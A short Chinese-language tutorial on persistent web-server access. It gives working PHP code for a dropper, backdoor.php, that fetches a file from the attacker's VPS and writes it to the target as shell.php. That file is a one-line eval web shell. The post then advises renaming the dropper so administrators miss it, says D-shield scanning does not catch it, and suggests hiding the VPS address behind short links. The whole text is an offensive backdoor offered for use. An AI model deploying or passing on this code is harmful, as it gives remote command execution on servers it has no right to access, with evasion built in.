简单又较隐蔽的PHP后门

话不多说，直接上代码（backdoor.php）

<?php

function adminer($url, $isi) {

$fp = fopen($isi, "w");

$ch = curl\_init();

curl\_setopt($ch, CURLOPT\_URL, $url);

curl\_setopt($ch, CURLOPT\_BINARYTRANSFER, true);

curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, true);

curl\_setopt($ch, CURLOPT\_SSL\_VERIFYPEER, false);

curl\_setopt($ch, CURLOPT\_FILE, $fp);

return curl\_exec($ch);

curl\_close($ch);

fclose($fp);

ob\_flush();

flush();

}

if(adminer("http://xx.xx.xx.xx/config.txt","shell.php")) {

echo "success, access shell.php";

} else {

echo "fail";

}

?>

Tips1：xx.xx.xx.xx是你的VPS服务器，config.txt要放在你的服务器上，并且能访问。config.txt的内容为一句话，如下：

<?php eval(@$\_POST['cmd']);?>

1

接着访问backdoor.php文件即可在目标服务器上生成一句话后门

Tips2：在实战中记得把文件名修改一下，否则很容易被管理员发现。

这种权限维持的方法相对于直接留下一句话文件要更加稳定，即使管理员将一句话后门文件删除了，只要backdoor.php文件还在，就可以一直生成后门文件。而且D盾还检测不出backdoor.php文件。如果手上没有免杀PHP后门的朋友们，不妨可以退而求其次，尝试一下。

Tips3：backdoor.php文件中会出现你的VPS服务器IP地址，这在一定程度上会有被反制的风险。那我们可以将URL转换成短链接进行隐匿。

短链接在线转换网址：ReURL - 传送门

短链接还原网址：https://www.donglishuzhai.net/tools/hy.php

经过测试，ReURL生成的短链接，上面的还原网站也还原不出来。